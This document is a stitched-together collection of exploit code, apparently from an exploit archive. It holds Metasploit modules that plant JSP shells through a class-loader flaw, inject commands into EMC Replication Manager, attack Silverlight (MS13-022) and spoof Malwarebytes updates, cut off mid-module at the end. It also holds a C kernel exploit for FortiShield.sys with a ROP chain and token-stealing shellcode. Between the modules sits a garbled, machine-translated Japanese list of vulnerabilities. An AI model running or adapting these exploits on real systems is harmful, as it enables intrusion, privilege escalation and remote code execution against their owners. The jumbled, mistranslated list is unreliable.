      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        "#{cl_prefix}.resources.context.parent.pipeline.first.directory"      => opts[:directory],
        "#{cl_prefix}.resources.context.parent.pipeline.first.prefix"         => opts[:prefix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.suffix"         => opts[:suffix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })

    res
  end

  def check_log_file(hint)
    uri = normalize_uri("/", @jsp_file)

    print_status("Waiting for the server to flush the logfile")

    10.times do |x|
      select(nil, nil, nil, 2)

      # Now make a request to trigger payload
      vprint_status("Countdown #{10-x}...")
      res = dump_line(uri)

      # Failure. The request timed out or the server went away.
      fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?

      # Success if the server has flushed all the sent commands to the jsp file
      if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
        print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
        return true
      end
    end

    false
  end

  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
    output = ""
    jsp.each_line do |l|
      if l =~ /<%.*%>/
        output << l
      elsif l =~ /<%/
        next
      elsif l=~ /%>/
        next
      elsif l.chomp.empty?
        next
      else
        output << "<% #{l.chomp} %>"
      end
    end
    output
  end

  def create_jsp
    if target['Arch'] == ARCH_JAVA
      jsp = fix(payload.encoded)
    else
      if target['Platform'] == 'win'
        payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "exe-small", {:arch => target.arch, :platform => target.platform})
      else
        payload_exe = generate_payload_exe
      end
      payload_file = rand_text_alphanumeric(4 + rand(4))
      jsp = jsp_dropper(payload_file, payload_exe)

      register_files_for_cleanup(payload_file)
    end

    jsp
  end

  def exploit
    if target.name =~ /Remote SMB Resource/
      begin
        Timeout.timeout(datastore['SMB_DELAY']) { super }
      rescue Timeout::Error
        # do nothing... just finish exploit and stop smb server...
      end
    else
      class_loader_exploit
    end
  end

  # Used with SMB targets
  def primer
    self.file_name << '.jsp'
    self.file_contents = payload.encoded
    print_status("JSP payload available on #{unc}...")

    print_status("Modifying Class Loader...")
    send_request_cgi({
      'uri'     => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method'  => 'GET',
      'vars_get' => {
        'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
      }
    })

    jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
    jsp_shell << "/#{self.file_name}"

    print_status("Accessing JSP shell at #{jsp_shell}...")
    send_request_cgi({
      'uri'     => normalize_uri(jsp_shell),
      'version' => '1.1',
      'method'  => 'GET',
    })
  end

  def class_loader_exploit
    prefix_jsp = rand_text_alphanumeric(3+rand(3))
    date_format = rand_text_numeric(1+rand(4))
    @jsp_file = prefix_jsp + date_format + ".jsp"

    # Modify the Class Loader

    print_status("Modifying Class Loader...")
    properties = {
      :directory      => 'webapps/ROOT',
      :prefix         => prefix_jsp,
      :suffix         => '.jsp',
      :file_date_format => date_format
    }
    res = modify_class_loader(properties)
    unless res
      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
    end

    # Check if the log file exists and has been flushed

    unless check_log_file(normalize_uri(target_uri.to_s))
      fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
    end

    register_files_for_cleanup(@jsp_file)

    # Prepare the JSP
    print_status("Generating JSP...")
    jsp = create_jsp

    # Dump the JSP to the log file
    print_status("Dumping JSP into the logfile...")
    random_request = rand_text_alphanumeric(3 + rand(3))

    uri = normalize_uri('/', random_request)

    jsp.each_line do |l|
      unless dump_line(uri, l.chomp)
        fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
      end
    end

    # Check log file... enjoy shell!
    check_log_file(random_request)

    # No matter what happened, try to 'restore' the Class Loader
    properties = {
        :directory      => '',
        :prefix         => '',
        :suffix         => '',
        :file_date_format => ''
    }
    modify_class_loader(properties)
  end

end
            
/*
Check these out:
- https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
- https://labs.mwrinfosecurity.com/blog/a-tale-of-bitmaps/
Tested on:
- Windows 10 Pro x86 1703/1709
- ntoskrnl.exe: 10.0.16299.309
- FortiShield.sys: 5.2.3.633
Compile:
- i686-w64-mingw32-g++ forticlient_win10_x86.cpp -o forticlient_win10_x86.exe -m32 -lpsapi
 
Thanks to master @ryujin and @ronin for helping out. And thanks to Morten (@Blomster81) for the MiGetPteAddress :D
and m00 to @g0tmi1k <3
*/

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <Psapi.h>

DWORD get_pxe_address_32(DWORD address) {

	DWORD result = address >> 9;
	result = result | 0xC0000000;
	result = result & 0xC07FFFF8;
	return result;
}

LPVOID GetBaseAddr(char *drvname) {

	LPVOID drivers[1024];
	DWORD cbNeeded;
	int nDrivers, i = 0;

	if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) {
		char szDrivers[1024];
		nDrivers = cbNeeded / sizeof(drivers[0]);
		for (i = 0; i < nDrivers; i++) {
			if (GetDeviceDriverBaseName(drivers[i], (LPSTR)szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) {
				if (strcmp(szDrivers, drvname) == 0) {
					return drivers[i];
				}
			}
		}
	}
	return 0;
}

int find_gadget(HMODULE lpFileName, unsigned char search_opcode[], int opcode_size) {

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)lpFileName;
    if(dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("[!] Invalid file.\n");
        exit(1);
    }

    //Offset of NT Header is found at 0x3c location in DOS header specified by e_lfanew
    //Get the Base of NT Header(PE Header)  = dosHeader + RVA address of PE header
    PIMAGE_NT_HEADERS ntHeader;
    ntHeader = (PIMAGE_NT_HEADERS)((ULONGLONG)(dosHeader) + (dosHeader->e_lfanew));
    if(ntHeader->Signature != IMAGE_NT_SIGNATURE){
        printf("[!] Invalid PE Signature.\n");
        exit(1);
    }

    //Info about Optional Header
    IMAGE_OPTIONAL_HEADER opHeader;
    opHeader = ntHeader->OptionalHeader;

    unsigned char *ntoskrnl_buffer = (unsigned char *)malloc(opHeader.SizeOfCode);
    SIZE_T size_read;

    //ULONGLONG ntoskrnl_code_base = (ULONGLONG)lpFileName + opHeader.BaseOfCode;
    BOOL rpm = ReadProcessMemory(GetCurrentProcess(), lpFileName, ntoskrnl_buffer, opHeader.SizeOfCode, &size_read);
    if (rpm == 0) {
        printf("[!] Error while calling ReadProcessMemory: %d\n", GetLastError());
        exit(1);
    }

    int j;
    int z;
    DWORD gadget_offset = 0;

    for (j = 0; j < opHeader.SizeOfCode; j++) {
        unsigned char *gadget = (unsigned char *)malloc(opcode_size);
        memset(gadget, 0x00, opcode_size);
        for (z = 0; z < opcode_size; z++) {
            gadget[z] = ntoskrnl_buffer[j - z];
        }

        int comparison;
        comparison = memcmp(search_opcode, gadget, opcode_size);
        if (comparison == 0) {
            gadget_offset = j - (opcode_size - 1);
        }
    }

    if (gadget_offset == 0) {
        printf("[!] Error while retrieving the gadget, exiting.\n");
        exit(1);
    }
    return gadget_offset;
}

LPVOID allocate_shellcode(LPVOID nt, DWORD fortishield_callback, DWORD fortishield_restore, DWORD pte_result, HMODULE lpFileName) {

    HANDLE pid;
    pid = GetCurrentProcess();
    DWORD shellcode_address = 0x22ffe000;
    LPVOID allocate_shellcode;
    allocate_shellcode = VirtualAlloc((LPVOID *)shellcode_address, 0x12000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (allocate_shellcode == NULL) {
        printf("[!] Error while allocating rop_chain: %d\n", GetLastError());
        exit(1);
    }


    /** Windows 10 1703 ROPS
    DWORD rop_01 = (DWORD)nt + 0x002fe484;
    DWORD rop_02 = 0x00000063;
    DWORD rop_03 = (DWORD)nt + 0x0002bbef;
    DWORD rop_04 = (DWORD)pte_result - 0x01;
    DWORD rop_05 = (DWORD)nt + 0x000f8d49;
    DWORD rop_06 = 0x41414141;
    DWORD rop_07 = (DWORD)nt + 0x000e8a46;
    DWORD rop_08 = 0x2300d1b8;
    **/

    /** Windows 10 1709 ROPS **/
    DWORD rop_01 = (DWORD)nt + 0x0002a8c8;
    DWORD rop_02 = 0x00000063;
    DWORD rop_03 = (DWORD)nt + 0x0003a3a3;
    DWORD rop_04 = (DWORD)pte_result - 0x01;
    DWORD rop_05 = (DWORD)nt + 0x0008da19;
    DWORD rop_06 = 0x41414141;
    DWORD rop_07 = (DWORD)nt + 0x001333ce;
    DWORD rop_08 = 0x2300d1b8;

    char token_steal[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
                         "\x8b\x84\x24\xa0\x00\x00\x00\x31"
                         "\xc9\x89\x08\x31\xc0\x64\x8b\x80"
                         "\x24\x01\x00\x00\x8b\x80\x80\x00"
                         "\x00\x00\x89\xc1\x8b\x80\xb8\x00"
                         "\x00\x00\x2d\xb8\x00\x00\x00\x83"
                         "\xb8\xb4\x00\x00\x00\x04\x75\xec"
                         "\x8b\x90\xfc\x00\x00\x00\x89\x91"
                         "\xfc\x00\x00\x00\x89\xf8\x83\xe8"
                         "\x20\x50\x8b\x84\x24\xa8\x00\x00"
                         "\x00\x5c\x89\x04\x24\x89\xfd\x81"
                         "\xc5\x04\x04\x00\x00\xc2\x04\x00";

    char *shellcode;
    DWORD shellcode_size = 0x12000;
    shellcode = (char *)malloc(shellcode_size);
    memset(shellcode, 0x41, shellcode_size);
    memcpy(shellcode + 0x2000, &rop_01, 0x04);
    memcpy(shellcode + 0xf18f, &rop_02, 0x04);
    memcpy(shellcode + 0xf193, &rop_03, 0x04);
    memcpy(shellcode + 0xf197, &rop_04, 0x04);
    memcpy(shellcode + 0xf19b, &rop_05, 0x04);
    memcpy(shellcode + 0xf19f, &rop_06, 0x04);
    memcpy(shellcode + 0xf1a3, &rop_07, 0x04);
    memcpy(shellcode + 0xf1af, &rop_08, 0x04);
    memcpy(shellcode + 0xf1b8, &token_steal, sizeof(token_steal));
    memcpy(shellcode + 0xf253, &fortishield_callback, 0x04);
    memcpy(shellcode + 0xf257, &fortishield_restore, 0x04);


    BOOL WPMresult;
    SIZE_T written;
    WPMresult = WriteProcessMemory(pid, (LPVOID)shellcode_address, shellcode, shellcode_size, &written);
    if (WPMresult == 0)
    {
        printf("[!] Error while calling WriteProcessMemory: %d\n", GetLastError());
        exit(1);
    }
    printf("[+] Memory allocated at: %p\n", allocate_shellcode);
    return allocate_shellcode;
}

DWORD trigger_callback() {

	printf("[+] Creating dummy file\n");
	system("echo test > test.txt");

	printf("[+] Calling MoveFileEx()\n");
	BOOL MFEresult;
	MFEresult = MoveFileEx((LPCSTR)"test.txt", (LPCSTR)"test2.txt", MOVEFILE_REPLACE_EXISTING);
	if (MFEresult == 0)
	{
		printf("[!] Error while calling MoveFileEx(): %d\n", GetLastError());
		return 1;
	}
	return 0;
}

int main() {

	HANDLE forti;
	forti = CreateFile((LPCSTR)"\\\\.\\FortiShield", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
	if (forti == INVALID_HANDLE_VALUE) {
		printf("[!] Error while creating a handle to the driver: %d\n", GetLastError());
		return 1;
	}

    HMODULE ntoskrnl = LoadLibrary((LPCSTR)"C:\\Windows\\System32\\ntoskrnl.exe");
    if (ntoskrnl == NULL) {
        printf("[!] Error while loading ntoskrnl: %d\n", GetLastError());
        exit(1);
    }

    LPVOID nt = GetBaseAddr((char *)"ntoskrnl.exe");
	LPVOID fortishield_base = GetBaseAddr((char *)"FortiShield.sys");

	DWORD va_pte = get_pxe_address_32(0x2300d000);
	DWORD pivot = (DWORD)nt + 0x0009b8eb;
	DWORD fortishield_callback = (DWORD)fortishield_base + 0xba70;
	DWORD fortishield_restore = (DWORD)fortishield_base + 0x1e95;

	printf("[+] KERNEL found at: %llx\n", (DWORD)nt);
	printf("[+] FortiShield.sys found at: %llx\n", (DWORD)fortishield_base);
	printf("[+] PTE virtual address at: %llx\n", va_pte);

    LPVOID shellcode_allocation;
    shellcode_allocation = allocate_shellcode(nt, fortishield_callback, fortishield_restore, va_pte, ntoskrnl);

	DWORD IoControlCode = 0x220028;
	DWORD InputBuffer = pivot;
	DWORD InputBufferLength = 0x4;
	DWORD OutputBuffer = 0x0;
	DWORD OutputBufferLength = 0x0;
	DWORD lpBytesReturned;

    //DebugBreak();

	BOOL triggerIOCTL;
	triggerIOCTL = DeviceIoControl(forti, IoControlCode, (LPVOID)&InputBuffer, InputBufferLength, (LPVOID)&OutputBuffer, OutputBufferLength, &lpBytesReturned, NULL);
	trigger_callback();

    system("start cmd.exe");

	return 0;
}
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EMC Replication Manager Command Execution',
      'Description'    => %q{
        This module exploits a remote command-injection vulnerability in EMC Replication Manager
        client (irccd.exe). By sending a specially crafted message invoking RunProgram function an
        attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected
        products are EMC Replication Manager < 5.3. This module has been successfully tested
        against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft
        Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested
        against these products.
      },
      'Author'         =>
        [
          'Unknown', #Initial discovery
          'Davy Douhine' #MSF module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-0647' ],
          [ 'OSVDB', '70853' ],
          [ 'BID', '46235' ],
          [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ],
          [ 'ZDI', '11-061' ]
        ],
      'DisclosureDate' => 'Feb 07 2011',
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'Space'       => 4096,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          # Tested on Windows XP and Windows 2003
          [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ]
        ],
      'CmdStagerFlavor' => 'vbs',
      'DefaultOptions' =>
        {
          'WfsDelay' => 5
        },
      'DefaultTarget'  => 0,
      'Privileged'     => true
      ))

    register_options(
      [
        Opt::RPORT(6542)
      ], self.class)
  end

  def exploit
    execute_cmdstager({:linemax => 5000})
  end

  def execute_command(cmd, opts)
    connect
    hello = "1HELLOEMC00000000000000000000000"
    vprint_status("Sending hello...")
    sock.put(hello)
    result = sock.get_once || ''
    if result =~ /RAWHELLO/
      vprint_good("Expected hello response")
    else
      disconnect
      fail_with(Failure::Unknown, "Failed to hello the server")
    end

    start_session = "EMC_Len0000000136<?xml version=\"1.0\" encoding=\"UTF-8\"?><ir_message ir_sessionId=0000 ir_type=\"ClientStartSession\" <ir_version>1</ir_version></ir_message>"
    vprint_status("Starting session...")
    sock.put(start_session)
    result = sock.get_once || ''
    if result =~ /EMC/
      vprint_good("A session has been created. Good.")
    else
      disconnect
      fail_with(Failure::Unknown, "Failed to create the session")
    end

    run_prog = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> "
    run_prog << "<ir_message ir_sessionId=\"01111\" ir_requestId=\"00000\" ir_type=\"RunProgram\" ir_status=\"0\"><ir_runProgramCommand>cmd /c #{cmd}</ir_runProgramCommand>"
    run_prog << "<ir_runProgramAppInfo><?xml version="1.0" encoding="UTF-8"?> <ir_message ir_sessionId="00000" ir_requestId="00000" "
    run_prog << "ir_type="App Info" ir_status="0"><IR_groupEntry IR_groupType="anywriter"  IR_groupName="CM1109A1"  IR_groupId="1" "
    run_prog << "><?xml version="1.0" encoding="UTF-8"?	> <ir_message ir_sessionId="00000" "
    run_prog << "ir_requestId="00000"ir_type="App Info" ir_status="0"><aa_anywriter_ccr_node>CM1109A1"
    run_prog << "</aa_anywriter_ccr_node><aa_anywriter_fail_1018>0</aa_anywriter_fail_1018><aa_anywriter_fail_1019>0"
    run_prog << "</aa_anywriter_fail_1019><aa_anywriter_fail_1022>0</aa_anywriter_fail_1022><aa_anywriter_runeseutil>1"
    run_prog << "</aa_anywriter_runeseutil><aa_anywriter_ccr_role>2</aa_anywriter_ccr_role><aa_anywriter_prescript>"
    run_prog << "</aa_anywriter_prescript><aa_anywriter_postscript></aa_anywriter_postscript><aa_anywriter_backuptype>1"
    run_prog << "</aa_anywriter_backuptype><aa_anywriter_fail_447>0</aa_anywriter_fail_447><aa_anywriter_fail_448>0"
    run_prog << "</aa_anywriter_fail_448><aa_exchange_ignore_all>0</aa_exchange_ignore_all><aa_anywriter_sthread_eseutil>0&amp"
    run_prog << ";lt;/aa_anywriter_sthread_eseutil><aa_anywriter_required_logs>0</aa_anywriter_required_logs><aa_anywriter_required_logs_path"
    run_prog << "></aa_anywriter_required_logs_path><aa_anywriter_throttle>1</aa_anywriter_throttle><aa_anywriter_throttle_ios>300"
    run_prog << "</aa_anywriter_throttle_ios><aa_anywriter_throttle_dur>1000</aa_anywriter_throttle_dur><aa_backup_username>"
    run_prog << "</aa_backup_username><aa_backup_password></aa_backup_password><aa_exchange_checksince>1335208339"
    run_prog << "</aa_exchange_checksince> </ir_message></IR_groupEntry> </ir_message></ir_runProgramAppInfo>"
    run_prog << "<ir_applicationType>anywriter</ir_applicationType><ir_runProgramType>backup</ir_runProgramType> </ir_message>"
    run_prog_header = "EMC_Len000000"
    run_prog_packet = run_prog_header + run_prog.length.to_s + run_prog

    vprint_status("Executing command....")
    sock.put(run_prog_packet)
    sock.get_once(-1, 1)

    end_string = Rex::Text.rand_text_alpha(rand(10)+32)
    sock.put(end_string)
    sock.get_once(-1, 1)
    disconnect

  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  MANIFEST = <<-EOS
<Deployment xmlns="http://schemas.microsoft.com/client/2007/deployment" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" EntryPointAssembly="SilverApp1" EntryPointType="SilverApp1.App" RuntimeVersion="4.0.50826.0">
  <Deployment.Parts>
    <AssemblyPart x:Name="SilverApp1" Source="SilverApp1.dll" />
  </Deployment.Parts>
</Deployment>
  EOS

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-022 Microsoft Silverlight ScriptObject Unsafe Memory Access",
      'Description'    => %q{
        This module exploits a vulnerability in Microsoft Silverlight. The vulnerability exists on
        the Initialize() method from System.Windows.Browser.ScriptObject, which access memory in an
        unsafe manner. Since it is accessible for untrusted code (user controlled) it's possible
        to dereference arbitrary memory which easily leverages to arbitrary code execution. In order
        to bypass DEP/ASLR a second vulnerability is used, in the public WriteableBitmap class
        from System.Windows.dll. This module has been tested successfully on IE6 - IE10, Windows XP
        SP3 / Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'James Forshaw',   # RCE Vulnerability discovery
          'Vitaliy Toropov', # Info Leak discovery, original exploit, all the hard work
          'juan vazquez'     # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-0074' ],
          [ 'CVE', '2013-3896' ],
          [ 'OSVDB', '91147' ],
          [ 'OSVDB', '98223' ],
          [ 'BID', '58327' ],
          [ 'BID', '62793' ],
          [ 'MSB', 'MS13-022' ],
          [ 'MSB', 'MS13-087' ],
          [ 'PACKETSTORM', '123731' ]
        ],
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',
          'EXITFUNC'             => 'thread'
        },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => OperatingSystems::Match::WINDOWS,
          :ua_name     => Msf::HttpClients::IE,
          :silverlight => "true"
        },
      'Targets'        =>
        [
          [ 'Windows x86/x64', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Mar 12 2013",
      'DefaultTarget'  => 0))

  end

  def setup
    @xap_name = "#{rand_text_alpha(5 + rand(5))}.xap"
    @dll_name = "#{rand_text_alpha(5 + rand(5))}.dll"
    File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.xap" ), "rb") { |f| @xap = f.read }
    File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2013-0074", "SilverApp1.dll" ), "rb") { |f| @dll = f.read }
    @xaml = MANIFEST.gsub(/SilverApp1\.dll/, @dll_name)
    super
  end

  def exploit_template(cli, target_info)

    my_payload = get_payload(cli, target_info)

    # Align to 4 bytes the x86 payload
    while my_payload.length % 4 != 0
      my_payload = "\x90" + my_payload
    end

    my_payload = Rex::Text.encode_base64(my_payload)

    html_template = <<-EOF
<html>
<!-- saved from url=(0014)about:internet -->
<head>
  <title>Silverlight Application</title>
  <style type="text/css">
    html, body { height: 100%; overflow: auto; }
    body { padding: 0; margin: 0; }
    #form1 { height: 99%; }
    #silverlightControlHost { text-align:center; }
  </style>
</head>
<body>
  <form id="form1" runat="server" >
    <div id="silverlightControlHost">
    <object data="data:application/x-silverlight-2," type="application/x-silverlight-2" width="100%" height="100%">
      <param name="source" value="<%= @xap_name %>"/>
      <param name="background" value="white" />
      <param name="InitParams" value="payload=<%= my_payload %>" />
    </object>
    </div>
  </form>
</body>
</html>
EOF

    return html_template, binding()
  end

  def on_request_exploit(cli, request, target_info)
    print_status("request: #{request.uri}")
    if request.uri =~ /#{@xap_name}$/
      print_status("Sending XAP...")
      send_response(cli, @xap, { 'Content-Type' => 'application/x-silverlight-2', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    elsif request.uri =~ /#{@dll_name}$/
      print_status("Sending DLL...")
      send_response(cli, @dll, { 'Content-Type' => 'application/octect-stream', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    elsif request.uri =~ /AppManifest.xaml$/
      print_status("Sending XAML...")
      send_response(cli, @xaml, { 'Content-Type' => 'text/xaml', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache' })
    else
      print_status("Sending HTML...")
      send_exploit_html(cli, exploit_template(cli, target_info))
    end
  end

end
            

1。 OAシステム

weaver-ecology-oa

PANWEI OA E-COLOGY RCE(CNVD-2019-32204) - バージョン7.0/8.0/8.1/9.0に影響

Panwei oa oa workflowcentertreedataインターフェイスインジェクション(限定オラクルデータベース)Panwei Ecology oa database configuration情報Panwei oa Cloud Bridge Arbitraryay File Reading-2018-2019 Panwei e-e-e-e-e-e-ecology oa front-end sql scl dection valnerability panwei oa system com.eweave.base.base.beartury keywordid sqlインジェクションの脆弱性panwei oa sysinterface/codeedit.jspページ任意のファイルをアップロードする

seeyon

ZHIYUAN OA-A8 HTMLOFFICESERVLET GETSHELL脆弱性Zhiyuan OAセッションリーク脆弱性

Zhiyuan oa a6 search_result.jsp sqlインジェクションの脆弱性zhiyuan oa a6 setextno.jsp sql indectl fulnection脆弱性zhiyuan oa a6リセットデータベースアカウントパスワードzhiyuan oa a8ユニバーサルパスワードzhiyuan oa fansoftレポートコンポーネントフロントエンドxxe脆弱性zhiyuan oa fansoftレポートコンポーネントリフレクティブxssssrf脆弱性thinks3:landgrey

lan ling oa

まだありません(上司がそれを提供できることを願っています)

Tongda oa

TONGDA OA ANY FILE DELETE FILEアップロードRCE分析(HW August 0day、2020)Tongda OA任意のファイルアップロード/ファイルにはGetShell Tongda OA11.5バージョンANY USER LOGINが含まれています

TONGDA OA 11.2背景ゲッシェトンダOA 11.7

Kingdee Oa

Kingdee Collaborative Office System GetShellの脆弱性

2。電子メール

Exchange

CVE-2020-17083 Microsoft Exchange Server Remotoft Codeの実行脆弱性Microsoft Exchange Remote Code実行可能性(CVE-2020-16875)

coremail

コアメール構成情報漏れとインターフェース不正な脆弱性コアメールストレージXSS脆弱性コレクションコアメール歴史的脆弱性

3。 Webミドルウェア

apache

APACHE SOLR RCE—覚えているme脱介入脆弱性(shiro-550)

Apache歴史的脆弱性コレクション

tomcat

Tomcat情報漏れとリモートコードの実行脆弱性[CVE-2017-12615/CVE-2017-12616] Tomcat GhostCat-AJP Protocol File Reading/File Conmpash GetShellCVE-2016-1240 Tomcat LocalPrivilege Elevation脆弱性Tomcat Historical Ulnerability Collection

weblogic

CVE-2020–14882 Weblogic Unauthorized Rceweblogic Remotic Command実行脆弱性分析(CVE-2019-2725)CVE-2019-2618 Arbitraryファイルアップロードアップロード脆弱性Weblogic Xmlgic Armitrary Armitrarize(CVE-2017-10271脆弱性(CVE-2019-2615)およびファイルアップロード脆弱性(CVE-2019-2618)WebLogic Coherence Component IIOP Deserialization脆弱性(CVE-2020-146444)

jboss

CVE-2017-7504-JBOSS JMXINVOKERSERVELT DASERIALIZATION JBOSS 5.X/6.X Deserialization脆弱性(CVE-2017-12149)JBOSS 4.X JBOSSMQ JMS Daserialization脆弱性(CVE-2017-7504)JBOSS CODE EXECUTION JBOST JBOST JBOST JBOST JBOST JBOST JBOST GetShelljboss Historicalの脆弱性コレクションへのアクセス

iv。ソースコード管理

gitlab

gitlab任意のファイル読み取り脆弱性

svn

SVNソースコードリーク脆弱性

5。プロジェクト管理システム

Zen Tao

CNVD-C-2020-121325 ZEN TAOオープンソースファイルアップロードZen Tao 9.1.2 SQL注入なしのログインZen Tao≤12.4.2背景管理者の条件GETSHEL条件826 Zenリモートコード実行の脆弱性Zen Tao 11.6任意のファイルを読む

Jira

Atlassian Jiraの脆弱性敏感な情報のホッジポッジ漏れワークベンチパス経由(CVE-2019-14994)によって引き起こされる漏れ脆弱性(CVE-2019-14994)JIRA不正なSSRF脆弱性(CVE-2019-8451) (CVE-2019-11581)CVE-2019-8449 JIRA情報漏れ脆弱性Jira Historical Ulbernerability Collection

vi。データベース

redis

Redisの概要未知のアクセス脆弱性エクスプロイトRedis 4.x rceredis Exploit Redis歴史的脆弱性コレクションを収集する

mysql

MySQL特権昇給(CVE-2016-6663、CVE-2016-6664の組み合わせ実践)MySQLデータベースの浸透と脆弱性の利用MYSQLの脆弱性MySQLの歴史的バージョンを注入するためのいくつかのゲッシェル方法のいくつかのゲッシェル方法

mssql

MSSQLは姿勢ソート(歴史上最も完全)を使用していますMSSQLデータベースコマンド実行概要MSSQLを使用してログインをシミュレートし、特権を増やし、MSSQLインジェクションスキルを使用してCLRアセンブリを使用してコマンドを実行します

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking # Would be Great except MBAE doesn't version check

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpServer

  VERSION_REGEX = /\/v2\/(mbam|mbae)\/consumer\/version.chk/
  EXE_REGEX     = /\/v2\/(mbam|mbae)\/consumer\/data\/(mbam|mbae)-setup-(.*)\.exe/
  NEXT_VERSION  = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' }

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution',
      'Description'    => %q{
        This module exploits a vulnerability in the update functionality of
        Malwarebytes Anti-Malware consumer before 2.0.3 and Malwarebytes
        Anti-Exploit consumer 1.03.1.1220.
        Due to the lack of proper update package validation, a man-in-the-middle
        (MITM) attacker could execute arbitrary code by spoofing the update server
        data-cdn.mbamupdates.com and uploading an executable. This module has
        been tested successfully with MBAM 2.0.2.1012 and MBAE 1.03.1.1220.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Yonathan Klijnsma',  # Vulnerability discovery and PoC
          'Gabor Seljan',       # Metasploit module
          'todb'                # Module refactoring
        ],
      'References'     =>
        [
          [ 'CVE', '2014-4936' ],
          [' OSVDB', '116050'],
          [ 'URL', 'http://blog.0x3a.com/post/104954032239/cve-2014-4936-malwarebytes-anti-malware-and'] # Discoverer's blog
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', {} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Dec 16 2014',
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ])
      ], self.class)

    # Vulnerable Malwarebytes clients do not allow altering these.
    deregister_options('SSL', 'SSLVersion', 'SSLCert')
  end

  def on_request_uri(cli, request)
    case request.uri
    when VERSION_REGEX
      serve_update_notice(cli) if set_exploit_target($1, request)
    when EXE_REGEX
      serve_exploit(cli)
    else
      vprint_status "Sending empty page for #{request.uri}"
      serve_default_response(cli)
    end
  end

  def serve_default_response(cli)
    send_response(cli, '')
  end

  def check_client_version(request)
    return false unless request['User-Agent'] =~ /base:(\d+\.\d+\.\d+\.\d+)/
    this_version = $1
    next_version = NEXT_VERSION[:mbam]
    if
      Gem::Version.new(next_version) >= Gem::Version.new(this_version)
      return true
    else
      print_error "Version #{this_version} of Anti-Malware isn't vulnerable, not attempting update."
      return false
    end
  end

  def set_exploit_target(package, request)
    case package
    when /mbam/i
      if check_client_version(request)
        @client_software = ['Anti-Malware', NEXT_VERSION[:mbam]]
      else
        serve_default_response(cli)
        return false
      end
    when /mbae/i
      # We don't get identifying info from MBAE
      @client_software = ['Anti-Exploit', NEXT_VERSION[:mbae]]
    end
  end

  def serve_update_notice(cli)
    software,next_version = @client_software
    print_status "Updating #{software} to (fake) #{next_version}. The user may need to click 'OK'."
    send_response(cli, next_version,
